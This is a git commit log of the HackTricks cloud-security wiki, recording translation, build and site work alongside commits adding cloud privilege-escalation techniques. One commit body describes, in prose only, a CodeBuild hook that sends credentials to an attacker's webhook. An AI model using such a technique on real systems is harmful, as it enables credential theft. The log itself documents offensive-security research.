160cdf0767 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-21 10:20:07 +01:00
Carlos Polop
ce9d8e9162 f 2025-03-21 10:17:18 +01:00
Build master
27bda8c014 Update searchindex 2025-03-21 09:09:36 +00:00
Build master
d9b93c0df5 Update searchindex 2025-03-21 09:04:21 +00:00
SirBroccoli
62ee9ee386 Merge pull request #170 from cydtseng/minor
Minor improvements for aws-basic-information
2025-03-21 09:59:00 +01:00
SirBroccoli
1c761c2a55 Merge pull request #169 from JaimePolop/patch-23
Update az-sql.md
2025-03-21 09:58:34 +01:00
Build master
849a545f21 Update searchindex 2025-03-18 05:49:00 +00:00
Carlos Polop
cfc01c0374 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-18 06:47:31 +01:00
Carlos Polop
6915cfa68c fix 2025-03-18 06:47:26 +01:00
Build master
aed8d2e643 Update searchindex 2025-03-17 11:56:39 +00:00
Carlos Polop
b2bf4d9b07 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-17 12:55:07 +01:00
Carlos Polop
6788b5e0a5 asd 2025-03-17 12:55:00 +01:00
Build master
5c702e69b9 Update searchindex 2025-03-17 03:49:36 +00:00
Carlos Polop
42f78679a2 vm to aa 2025-03-17 04:47:59 +01:00
Cyd Tseng
6c40f6cac4 docs: minor grammar / spelling improvements for aws-basic-information 2025-03-13 00:38:23 +08:00
Jaime Polop
fcb6c989fc Update az-sql.md 2025-03-07 19:29:40 +01:00
Jaime Polop
8d310c43f5 Update az-sql.md 2025-03-07 19:28:42 +01:00
Build master
27d96d81e1 Update searchindex 2025-03-04 22:09:14 +00:00
Carlos Polop
6d88cb548f impr 2025-03-04 23:07:33 +01:00
Build master
1216308b18 Update searchindex 2025-03-02 12:55:20 +00:00
Carlos Polop
00f4a32ae3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 13:53:42 +01:00
Carlos Polop
96579673c1 sentinel 2025-03-02 13:53:38 +01:00
Build master
f8c4c4d8ac Update searchindex 2025-03-02 00:21:20 +00:00
Carlos Polop
3902e8cafd Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 01:19:46 +01:00
Carlos Polop
39876cd315 defender + monitoring 2025-03-02 01:19:42 +01:00
Build master
d668cf5452 Update searchindex 2025-02-26 15:52:26 +00:00
Carlos Polop
d54cb2b5ff virtual desktops 2025-02-26 16:50:45 +01:00
Carlos Polop
c79c359fd2 asd 2025-02-26 02:00:25 +01:00
Carlos Polop
1efe5e7e77 asd 2025-02-26 01:40:13 +01:00
Carlos Polop
7991ff4fae asd 2025-02-26 01:19:35 +01:00
Carlos Polop
045b6c2320 asd 2025-02-26 00:38:39 +01:00
Carlos Polop
ab888d748c asd 2025-02-26 00:32:20 +01:00
Carlos Polop
5d3c7b0348 asd 2025-02-26 00:14:56 +01:00
Carlos Polop
d77d87d686 a 2025-02-25 23:37:57 +01:00
Carlos Polop
9c0cfb6529 a 2025-02-25 23:33:09 +01:00
Carlos Polop
2730856acc a 2025-02-25 23:29:26 +01:00
Carlos Polop
221636beae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 23:07:12 +01:00
Carlos Polop
740801ab61 a 2025-02-25 23:07:08 +01:00
Build master
23ce7a243e Update searchindex 2025-02-25 21:58:00 +00:00
SirBroccoli
13f89a6674 Merge pull request #168 from JaimePolop/master
vitualdesktop
2025-02-25 22:56:31 +01:00
Jimmy
776d9f73df vitualdesktop 2025-02-25 12:41:45 +01:00
Jimmy
c8c09b0abb vitualdesktop 2025-02-25 12:37:08 +01:00
Build master
329ef07c7e Update searchindex 2025-02-25 05:08:47 +00:00
Carlos Polop
aad012f215 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 06:06:50 +01:00
Carlos Polop
50029a6488 logic apps 2025-02-25 06:06:45 +01:00
Build master
5bb4e02a58 Update searchindex 2025-02-24 10:29:46 +00:00
Carlos Polop
c0a3872982 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-24 11:27:05 +01:00
Carlos Polop
a19517f026 az functions 2025-02-24 11:27:01 +01:00
Build master
429913c5ec Update searchindex 2025-02-22 16:14:23 +00:00
Carlos Polop
2d32b37d9c Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 17:12:56 +01:00
Carlos Polop
77da1e58ca static web apps 2025-02-22 17:12:53 +01:00
Build master
516553f4bf Update searchindex 2025-02-22 12:46:54 +00:00
SirBroccoli
188b9a7b0a Merge pull request #166 from JaimePolop/master
new
2025-02-22 13:45:25 +01:00
Jimmy
58556acb7d new 2025-02-22 13:38:23 +01:00
Jimmy
0148473b67 new 2025-02-22 13:34:13 +01:00
Jimmy
b832183456 new 2025-02-22 13:27:27 +01:00
Build master
3e96d64e50 Update searchindex 2025-02-21 23:33:51 +00:00
Carlos Polop
7336c976ae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 00:32:13 +01:00
Carlos Polop
def87f1ffb asd 2025-02-22 00:32:09 +01:00
Build master
b715d43fad Update searchindex 2025-02-21 13:57:18 +00:00
Carlos Polop
c6b3795cc5 fix workflows 2025-02-21 14:55:41 +01:00
Carlos Polop
8fa715b08d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:44:07 +01:00
Carlos Polop
aeb3f8b582 a 2025-02-21 12:44:01 +01:00
Build master
568e936ca0 Update searchindex 2025-02-21 11:02:56 +00:00
Carlos Polop
2456bca341 a 2025-02-21 12:01:31 +01:00
Carlos Polop
f138e0366f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:00:43 +01:00
Carlos Polop
c089890c84 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 00:14:46 +01:00
Build master
901725b847 Update searchindex 2025-02-20 23:14:18 +00:00
Carlos Polop
fea4bb8938 impr 2025-02-21 00:13:14 +01:00
SirBroccoli
7026e4e728 Merge pull request #163 from JaimePolop/master
Cosmosdb
2025-02-21 00:12:51 +01:00
Jaime Polop
0e15aeffba Delete searchindex.json 2025-02-20 23:21:38 +01:00
Jimmy
b7dc63cd26 a 2025-02-20 23:20:59 +01:00
Build master
4c9c8c10ac Update searchindex 2025-02-20 12:10:09 +00:00
Carlos Polop
64f5661515 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 13:08:28 +01:00
Carlos Polop
bee34f3c05 fixes 2025-02-20 13:08:24 +01:00
Build master
2f84f3f328 Update searchindex 2025-02-20 00:56:04 +00:00
Carlos Polop
892232fe26 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 01:54:38 +01:00
Carlos Polop
c71aa6f7b1 a 2025-02-20 01:54:29 +01:00
Carlos Polop
ab3e89c82d more sql 2025-02-20 01:53:49 +01:00
Build master
caf320e355 Update searchindex 2025-02-20 00:51:55 +00:00
Carlos Polop
e841f06505 sql and other fixes 2025-02-20 01:50:24 +01:00
Build master
6456eab2cf Update searchindex 2025-02-20 00:36:33 +00:00
SirBroccoli
3c746383c6 Merge pull request #162 from JaimePolop/master
sql & others
2025-02-20 01:35:07 +01:00
Jaime Polop
064162062f Delete searchindex.json 2025-02-20 00:57:18 +01:00
Jimmy
e3ca81040e asd 2025-02-20 00:55:53 +01:00
Build master
4313cc72bc Update searchindex 2025-02-19 01:29:33 +00:00
Carlos Polop
80b91382f3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-19 02:28:04 +01:00
Carlos Polop
0828130954 az sql 2025-02-19 02:27:59 +01:00
Build master
94e634230a Update searchindex 2025-02-18 11:18:25 +00:00
Carlos Polop
5e48ce18e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-18 12:16:45 +01:00
Carlos Polop
61c70bfefd improvements 2025-02-18 12:16:41 +01:00
Build master
ce2ede1e01 Update searchindex 2025-02-17 20:57:20 +00:00
Carlos Polop
127c85e7d2 impr servicebus 2025-02-17 21:55:47 +01:00
Build master
40e08a1893 Update searchindex 2025-02-17 18:27:14 +00:00
Carlos Polop
e746e3e353 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 19:25:47 +01:00
Carlos Polop
0f7175eb98 fix 2025-02-17 19:25:37 +01:00
Build master
d109bb6b44 Update searchindex 2025-02-17 18:21:54 +00:00
Carlos Polop
2505aec847 fix build 2025-02-17 19:20:11 +01:00
Carlos Polop
cc5dc4c885 summary update 2025-02-17 18:15:16 +01:00
Carlos Polop
09a10afd24 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 18:09:02 +01:00
Carlos Polop
0d9b4e5917 aa persistence 2025-02-17 18:08:59 +01:00
SirBroccoli
ad0fd2ac62 Merge pull request #161 from JaimePolop/master
sql and servicebus
2025-02-17 12:56:22 +01:00
Build master
47c4eb2f02 Update searchindex 2025-02-17 11:52:19 +00:00
Jaime Polop
8b8705f5a2 Delete searchindex.json 2025-02-17 12:51:09 +01:00
Build master
e82c35b07f Update searchindex 2025-02-17 11:49:02 +00:00
Jimmy
5f47797e6a updates 2025-02-17 12:41:24 +01:00
Build master
90a2f79a0f Update searchindex 2025-02-17 10:56:10 +00:00
Carlos Polop
baa1c7240d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 11:54:31 +01:00
Carlos Polop
0f6da30192 fix summary 2025-02-17 11:54:27 +01:00
Build master
06d67a4432 Update searchindex 2025-02-16 17:27:19 +00:00
Carlos Polop
f9413e0d34 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-16 18:25:48 +01:00
Carlos Polop
31acbca2ed privesc jobs az 2025-02-16 18:25:44 +01:00
Build master
e938af6965 Update searchindex 2025-02-15 17:50:26 +00:00
Carlos Polop
8d0d445b93 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 18:48:59 +01:00
Carlos Polop
9cd2ef8e2f fixes 2025-02-15 18:48:56 +01:00
Build master
c4b06ab12c Update searchindex 2025-02-15 15:25:20 +00:00
Carlos Polop
5537bfe63d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 16:23:52 +01:00
Carlos Polop
6e477bc296 update container services az 2025-02-15 16:23:48 +01:00
Build master
46af6b9474 Update searchindex 2025-02-15 03:24:48 +00:00
Carlos Polop
e6644e6caa improvements 2025-02-15 04:23:19 +01:00
Carlos Polop
fcc20e6908 a 2025-02-15 03:00:32 +01:00
Carlos Polop
8be9956703 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 02:17:10 +01:00
Carlos Polop
2be77df66d a 2025-02-15 02:17:06 +01:00
Build master
8594fa5343 Update searchindex 2025-02-15 01:16:02 +00:00
SirBroccoli
ba04a6a2ff Merge pull request #158 from raadfhaddad/master
Update aws-macie-privesc.md
2025-02-15 02:14:40 +01:00
Build master
d2f2655fc4 Update searchindex 2025-02-14 18:20:02 +00:00
Carlos Polop
5a5104fe95 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 19:18:33 +01:00
Carlos Polop
ef85d7fdd5 unauth container registry 2025-02-14 19:18:28 +01:00
Carlos Polop
83bc9f97e8 f 2025-02-14 17:20:39 +01:00
Build master
d3b9883283 Update searchindex 2025-02-14 16:20:08 +00:00
Carlos Polop
81acaa16e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 17:18:44 +01:00
Carlos Polop
70d0f13e7e f 2025-02-14 17:18:40 +01:00
Build master
8392cf548c Update searchindex 2025-02-14 15:44:15 +00:00
Carlos Polop
0b97b3caff Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 16:42:53 +01:00
Carlos Polop
4df9252db4 fixes 2025-02-14 16:42:49 +01:00
Raad
3350e31738 Update aws-macie-privesc.md 2025-02-14 08:16:32 +01:00
Build master
17be115fa6 Update searchindex 2025-02-13 17:45:51 +00:00
Carlos Polop
ccbbfaee00 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 18:44:25 +01:00
Carlos Polop
b98496aaed f 2025-02-13 18:44:21 +01:00
Build master
30399528e4 Update searchindex 2025-02-13 10:01:56 +00:00
Carlos Polop
650655363f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 11:00:31 +01:00
Carlos Polop
615a959bb6 fix macie 2025-02-13 11:00:27 +01:00
Build master
0d198fe961 Update searchindex 2025-02-13 09:54:32 +00:00
SirBroccoli
abbd0a816b Merge pull request #157 from raadfhaddad/master
Create aws-macie-privesc.md
2025-02-13 10:53:03 +01:00
Carlos Polop
13df9aee51 f 2025-02-13 10:51:25 +01:00
Raad
eb110dfd72 Create aws-macie-enum.md 2025-02-12 22:21:39 +01:00
Raad
491627bf9f Merge branch 'HackTricks-wiki:master' into master 2025-02-12 22:18:35 +01:00
Carlos Polop
ca5a9e1037 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 18:21:54 +01:00
Carlos Polop
7537334e2c a 2025-02-12 18:21:49 +01:00
Congon4tor
bb664c142d changes serchindex ulrs 2025-02-12 18:06:33 +01:00
Carlos Polop
4eafaed2b1 m 2025-02-12 15:58:21 +01:00
Carlos Polop
e158438a0f master workflow 2025-02-12 15:33:47 +01:00
Carlos Polop
57da0bf8db run gh 2025-02-12 15:25:17 +01:00
Carlos Polop
ae7aefe448 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 15:24:14 +01:00
Carlos Polop
19401f19d6 searchindex master 2025-02-12 15:24:09 +01:00
Congon4tor
92b3c384c8 Fix links and update search index url 2025-02-12 14:47:59 +01:00
Carlos Polop
0d26e5ed8c Update searchindex 2025-02-12 14:42:59 +01:00
Carlos Polop
cd5de3879c f 2025-02-12 14:37:24 +01:00
Carlos Polop
dc557dad46 try 2025-02-12 14:32:25 +01:00
Carlos Polop
d6597f9990 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 14:31:51 +01:00
Carlos Polop
77a117d772 searchindex test 1 2025-02-12 14:31:47 +01:00
Congon4tor
699a707bb6 Add searchindex to repo 2025-02-12 14:13:04 +01:00
Raad
b741525093 Create aws-macie-privesc.md 2025-02-11 21:46:29 +01:00
Carlos Polop
60b1ca6b88 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-11 17:56:14 +01:00
Carlos Polop
30236714f5 f 2025-02-11 17:56:10 +01:00
SirBroccoli
f258a13eef Merge pull request #156 from JaimePolop/master
FIxes
2025-02-11 00:28:49 +01:00
Carlos Polop
4e491e3f55 fixes 2025-02-11 00:28:34 +01:00
Jimmy
b3cfc40029 Merge branch 'master' of https://github.com/JaimePolop/hacktricks-cloud 2025-02-10 12:44:38 +01:00
Jimmy
26bf439a59 Y 2025-02-10 12:31:51 +01:00
Jimmy
3757efbd43 Y 2025-02-10 12:22:24 +01:00
Carlos Polop
d13ebeaeb5 f 2025-02-10 01:21:01 +01:00
Carlos Polop
3f01e5e4fa f 2025-02-09 18:51:16 +01:00
Carlos Polop
8452766003 fixes 2025-02-09 18:51:11 +01:00
Carlos Polop
9bea483104 fix banner 2025-02-09 15:53:44 +01:00
Carlos Polop
7162236a6b fix 2025-02-08 19:54:20 +01:00
Carlos Polop
f5c7490026 mor einfo 2025-02-08 19:47:32 +01:00
Carlos Polop
2383d6958b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-08 19:23:46 +01:00
Carlos Polop
fd5fc9957a azure basics 2025-02-08 19:23:41 +01:00
SirBroccoli
d42d244a6a Merge pull request #154 from JaimePolop/patch-22
Update az-storage-privesc.md
2025-02-08 14:46:52 +01:00
Carlos Polop
117bb933af improvements 2025-02-07 01:02:14 +01:00
Carlos Polop
9a9ea3101f typo 2025-02-06 03:12:35 +01:00
Carlos Polop
ec6fcd37f0 impr 2025-02-06 00:34:19 +01:00
Carlos Polop
551524079b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-04 19:06:01 +01:00
Carlos Polop
92d27a9632 add perm Microsoft.ContainerRegistry/registries/generateCredentials/action 2025-02-04 19:05:56 +01:00
Jaime Polop
cfcc836974 Update az-storage-privesc.md 2025-02-03 11:26:08 +01:00
SirBroccoli
7838f68347 Merge pull request #152 from hhoollaa1/master
EFS IP Enumeration Python Script
2025-02-02 19:21:19 +01:00
SirBroccoli
452fb430b3 Merge pull request #153 from JaimePolop/patch-21
Update az-file-shares.md
2025-01-29 12:33:13 +01:00
Jaime Polop
ba94d85a36 Update az-file-shares.md 2025-01-29 12:29:56 +01:00
hhoollaa1
a9b9e95899 Update aws-efs-enum.md 2025-01-27 21:10:05 +01:00
SirBroccoli
5a2543873e Merge pull request #151 from JaimePolop/master
azuread MS Graph
2025-01-27 15:19:11 +01:00
Jaime Polop
b353597cd3 Update az-azuread.md 2025-01-27 11:58:13 +01:00
Jaime Polop
9ed1b29bb9 Update az-azuread.md 2025-01-27 02:10:28 +01:00
Carlos Polop
01295fcd13 dataproc 2025-01-26 22:47:34 +01:00
SirBroccoli
81d2665909 Merge pull request #148 from shamo0/master
grte-shamooo
2025-01-26 22:45:09 +01:00
Mac
873eba38c0 dataproc enum & privesc 2025-01-27 00:14:46 +04:00
Carlos Polop
979ea57c3b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-26 18:53:28 +01:00
Carlos Polop
ae6616b63b comparison reader with security reader 2025-01-26 18:53:24 +01:00
Mac
dbac949488 dataproc privesc update 2025-01-26 21:53:14 +04:00
Congon4tor
3e06c28e43 updated preprocessor 2025-01-26 18:16:58 +01:00
SirBroccoli
5d21fb67a6 Merge pull request #147 from JaimePolop/master
CloudShell & LogicApps
2025-01-26 16:10:25 +01:00
SirBroccoli
25395ae94a Merge branch 'master' into master 2025-01-26 16:10:16 +01:00
Carlos Polop
626155bec1 small fixes 2025-01-26 16:06:53 +01:00
Carlos Polop
8f02f9f5a5 fix 2025-01-26 15:48:40 +01:00
Carlos Polop
d9c68fcf04 fix 2025-01-26 15:21:37 +01:00
Carlos Polop
c76f3defdd a 2025-01-26 12:02:02 +01:00
Carlos Polop
569f2be7c9 impr 2025-01-26 11:42:59 +01:00
Carlos Polop
416e7cf699 improvements 2025-01-25 15:33:23 +01:00
Mac
480c6ba178 dataproc privesc 2025-01-23 20:54:49 +04:00
Carlos Polop
8f6514eed9 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-23 00:04:03 +01:00
Carlos Polop
6736e6d5c8 more azure stuff 2025-01-23 00:03:36 +01:00
Jaime Polop
1bc1085d79 Update SUMMARY.md 2025-01-22 13:21:20 +01:00
Jaime Polop
50f10aa913 Update az-static-web-apps.md 2025-01-22 13:17:57 +01:00
Jaime Polop
bb6035c0ca Update SUMMARY.md 2025-01-22 13:13:24 +01:00
SirBroccoli
b6310f4ac6 Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read
Added K8s privesc technique via Create & Read secrets
2025-01-22 13:03:38 +01:00
SirBroccoli
9bcaf7c6df Merge pull request #145 from JaimePolop/patch-20
Update az-cosmosDB.md
2025-01-22 10:49:35 +01:00
SirBroccoli
a60a5be8d2 Merge pull request #142 from VL4DYSL4V/VL4DYSL4V-create-and-delete-k8s-pods-with-curl
Added scripts for creating & deleting K8s pods, SAs, Roles, RoleBindings, and Secrets with curl
2025-01-22 10:49:19 +01:00
Carlos Polop
250329b9aa fix summary 2025-01-21 19:38:49 +01:00
Carlos Polop
64ab139a57 azure automatic tools 2025-01-21 18:15:39 +01:00
Jaime Polop
38ec0650ca Update SUMMARY.md 2025-01-17 17:41:33 +01:00
Jaime Polop
a027dd2a21 Add files via upload 2025-01-17 17:39:20 +01:00
Jaime Polop
1e69b05fe7 Add files via upload 2025-01-17 17:38:57 +01:00
Jaime Polop
9f84500da6 Update SUMMARY.md 2025-01-16 12:49:17 +01:00
Jaime Polop
62664886c7 Add files via upload 2025-01-16 12:47:56 +01:00
Jaime Polop
e4b1066789 Add files via upload 2025-01-16 12:47:24 +01:00
Jaime Polop
0f2e9443ca Add files via upload 2025-01-16 12:46:39 +01:00
Jaime Polop
dbb3f98a12 Update az-cosmosDB.md 2025-01-13 17:03:55 +01:00
Jaime Polop
234398ad6e Merge branch 'HackTricks-wiki:master' into master 2025-01-13 16:39:28 +01:00
Jaime Polop
a6e5b378be Update az-cosmosDB.md 2025-01-13 16:39:17 +01:00
Vladyslav
cdd6583bb6 Update kubernetes-enumeration.md 2025-01-13 15:08:23 +02:00
Vladyslav
12c468f714 Update kubernetes-enumeration.md 2025-01-13 14:58:03 +02:00
Carlos Polop
0996afea1b azure container 2025-01-12 19:42:21 +01:00
Jaime Polop
3fd7b2b8a2 Merge branch 'HackTricks-wiki:master' into master 2025-01-12 11:55:47 +01:00
Jimmy
e47fdfb9ea Update pwsh 2025-01-12 11:55:13 +01:00
SirBroccoli
d6f87481ef Merge pull request #139 from JaimePolop/master
CosmosDB, Postgres and MySQL
2025-01-11 19:28:52 +01:00
Vladyslav
3000c3b4fe Added scripts for creating & deleting K8s pods with curl 2025-01-11 16:42:38 +02:00
Vladyslav
15ce1f2a40 Added K8s privesc technique via Create & Read secrets 2025-01-11 15:20:34 +02:00
Jaime Polop
8ec34fc329 Merge branch 'HackTricks-wiki:master' into master 2025-01-10 18:50:57 +01:00
Jaime Polop
5d6efaa6a6 Update SUMMARY.md 2025-01-10 18:50:36 +01:00
Carlos Polop
73e6fee408 auto acc 2025-01-10 18:39:42 +01:00
Jimmy
833b571498 Update URLs 2025-01-10 16:34:21 +01:00
Jaime Polop
37bf365f5b Merge branch 'HackTricks-wiki:master' into master 2025-01-10 15:02:54 +01:00
Carlos Polop
8b52bc23a3 automation acc hybrid workers 2025-01-10 14:16:44 +01:00
Carlos Polop
d9f6b34673 fix ec2 + automation accounts 2025-01-10 12:59:11 +01:00
Jaime Polop
9021590856 Update SUMMARY.md 2025-01-10 11:32:04 +01:00
Jaime Polop
8ea0f4a3f1 Update az-cosmosDB-post-exploitation.md 2025-01-10 11:28:42 +01:00
Jaime Polop
78334993a2 Update az-cosmosDB.md 2025-01-10 11:26:58 +01:00
Jaime Polop
e8cee6743c Add files via upload 2025-01-10 11:06:35 +01:00
Jaime Polop
55fc400bf7 Add files via upload 2025-01-10 11:02:38 +01:00
Jaime Polop
dc16c9ff9f Add files via upload 2025-01-10 11:01:45 +01:00
Carlos Polop
6d926a6f72 local hacktricks cloud 2025-01-09 18:20:22 +01:00
Carlos Polop
d9a7ae2880 build coker public 2025-01-09 17:59:36 +01:00
Carlos Polop
be659333c8 fix keyvault.md 2025-01-09 17:34:55 +01:00
Carlos Polop
cb67f59e59 images 2025-01-09 17:29:41 +01:00
Carlos Polop
b3f82cc35c fix hacktricks cloud 2025-01-09 15:46:23 +01:00
Carlos Polop
1f00ec798e write packages 2025-01-09 09:50:32 +01:00
Carlos Polop
782d409f47 en 2025-01-09 09:45:51 +01:00
Carlos Polop
30f14affe7 t11 2025-01-09 09:44:48 +01:00
Carlos Polop
65cfe4be40 handle exception 2025-01-09 09:44:32 +01:00
Carlos Polop
39ef4428ef build master 2025-01-09 09:36:04 +01:00
Carlos Polop
de7e5d2eb0 t10 2025-01-09 09:31:45 +01:00
Carlos Polop
78f6ebfdc9 install awscli in the container 2025-01-09 09:19:39 +01:00
Carlos Polop
4b9cb59f09 fr 2025-01-09 09:17:47 +01:00
Carlos Polop
3b671863b3 t9 2025-01-09 09:15:28 +01:00
Carlos Polop
110692ec5f t8 2025-01-09 09:10:14 +01:00
Carlos Polop
065d29019c t7 2025-01-09 09:06:37 +01:00
Carlos Polop
184a36301a translator 2025-01-09 09:04:23 +01:00
Carlos Polop
c3b572db87 t6 2025-01-09 08:43:19 +01:00
Carlos Polop
894d2f8dc6 t5 2025-01-09 08:34:24 +01:00
Carlos Polop
3eff514680 t4 2025-01-09 02:04:38 +01:00
Carlos Polop
4fae1360a8 t3 2025-01-09 01:55:16 +01:00
Carlos Polop
372ccdf299 t2 2025-01-09 01:52:23 +01:00
Carlos Polop
0c3d697d67 t2 2025-01-09 01:52:19 +01:00
Carlos Polop
cdf8430598 t 2025-01-09 01:49:44 +01:00
Carlos Polop
432e916b2f translators 2025-01-09 01:47:16 +01:00
Carlos Polop
cb23139acd d 2025-01-09 01:29:31 +01:00
Carlos Polop
1a41153b95 docker 2025-01-09 01:26:48 +01:00
Carlos Polop
06184f73ec build docker 2025-01-09 01:25:03 +01:00
Carlos Polop
bde9b73eb1 docker 2025-01-09 01:18:30 +01:00
Carlos Polop
69db82891a cat error preprod 2025-01-09 01:05:33 +01:00
Carlos Polop
52142003ec add az-static-web-apps-privesc.md 2025-01-08 23:51:34 +01:00
Carlos Polop
a850e268dc fix transaltor 2025-01-08 23:50:53 +01:00
Carlos Polop
cc120ade68 translate az-app-services-privesc.md 2025-01-08 22:00:23 +01:00
Carlos Polop
3000248da2 fix translator log 2025-01-08 21:59:46 +01:00
SirBroccoli
1a5f666c80 Merge pull request #138 from ex16x41/patch-5
Update aws-codebuild-privesc.md
2025-01-08 21:36:25 +01:00
Eva
95f91529c7 Update aws-codebuild-privesc.md
Create a hook.json file with command to send output from curl credentials URI to your webhook address
2025-01-08 21:27:54 +01:00
Carlos Polop
b65df65002 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-07 00:43:41 +01:00
Carlos Polop
1c333d4cab static web 2025-01-07 00:43:37 +01:00
Congon4tor
b0794c4b1c Support # in refs 2025-01-06 18:02:23 +01:00
Carlos Polop
009ef58e30 static 2025-01-05 23:48:40 +01:00
Carlos Polop
ad6c542f82 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 21:15:16 +01:00
Carlos Polop
3a7480d764 MIGRATION TYPOS 2025-01-05 21:15:12 +01:00
SirBroccoli
4b71029629 Merge pull request #134 from offensive-actions/add-terraform-state-rce-and-dynamodb-privesc
arte-administrator
2025-01-05 16:05:38 +01:00
Carlos Polop
c1aee098b6 actas in cloudbuild 2025-01-05 16:03:29 +01:00
Carlos Polop
ec0ff62bcb fix translator 2025-01-05 15:32:32 +01:00
Carlos Polop
2244c6b485 clean images 2025-01-05 15:31:07 +01:00
Carlos Polop
61bc94e77d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 11:29:54 +01:00
Carlos Polop
13358c1371 fix links 2025-01-05 11:29:50 +01:00
SirBroccoli
1e29cb77cc Merge pull request #135 from HackTricks-wiki/support-file-downloads
Support file downloads
2025-01-04 18:48:56 +01:00
Carlos Polop
d65983432b app services 2025-01-04 04:38:52 +01:00
Carlos Polop
18d1953edd app services 2025-01-04 01:32:19 +01:00
Carlos Polop
c395861d3d improve translator 2025-01-04 00:25:53 +01:00
Carlos Polop
d9247bf598 app services 2025-01-03 20:16:15 +01:00
Congon4tor
853e602bc2 Support file downloads 2025-01-03 19:35:15 +01:00
Benedikt Haußner
8750a93d41 add dynamodb privilege escalation via putting of resource based policy 2025-01-03 15:26:44 +01:00
Benedikt Haußner
b918609383 add fully working solution for privesc via terraform state file poisoning and reference from s3 privilege escalation to that technique 2025-01-03 15:26:16 +01:00
Carlos Polop
3d1f96fd4a Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-03 12:21:56 +01:00
Carlos Polop
9eec79f700 app services 2025-01-03 12:21:52 +01:00
SirBroccoli
8a25a0856f Update translator.py 2025-01-03 11:42:03 +01:00
SirBroccoli
e67cc3f450 Merge pull request #133 from HackTricks-wiki/robots-txt
Add robots.txt
2025-01-03 10:47:48 +01:00
SirBroccoli
194ae6d76b Merge pull request #132 from HackTricks-wiki/add-language-selector
Fixes language UI
2025-01-03 10:47:06 +01:00
Congon4tor
d53ffc12eb Fix page index with links 2025-01-03 03:30:47 +01:00
Congon4tor
c520826284 Add read time to all pages 2025-01-03 02:52:56 +01:00
Congon4tor
7a0a0329a7 Add robots.txt 2025-01-03 01:46:36 +01:00
Congon4tor
a7bf8124da Fixes language UI 2025-01-03 01:09:11 +01:00
Carlos Polop
b340bf8ada t 2025-01-02 22:26:08 +01:00
Carlos Polop
bad627b7db lang 2025-01-02 21:53:56 +01:00
Carlos Polop
96cc8f9772 languages 2025-01-02 21:53:49 +01:00
SirBroccoli
1922e106fd Merge pull request #131 from HackTricks-wiki/add-language-selector
Add language selector
2025-01-02 21:47:43 +01:00
Congon4tor
d7d5e4a93c Add language selector 2025-01-02 21:18:12 +01:00
Carlos Polop
716aa06779 translate 2 2025-01-01 23:55:27 +01:00
Carlos Polop
4ef00e6b1b translate fix 2025-01-01 23:55:17 +01:00
Carlos Polop
2beb8398a6 translate 2 2025-01-01 21:36:26 +01:00
Carlos Polop
d0b9174054 translate 2025-01-01 21:36:15 +01:00
Carlos Polop
d0e6a85e6f update translator 2025-01-01 21:23:33 +01:00
Carlos Polop
d96df379fd trasnlate other half 2024-12-31 18:48:54 +01:00
Carlos Polop
4d622f5500 translate half 2024-12-31 18:48:31 +01:00
702 changed files with 34613 additions and 38074 deletions

View File

@@ -1,9 +1,16 @@
You can remove this content before sending the PR:
## Attribution
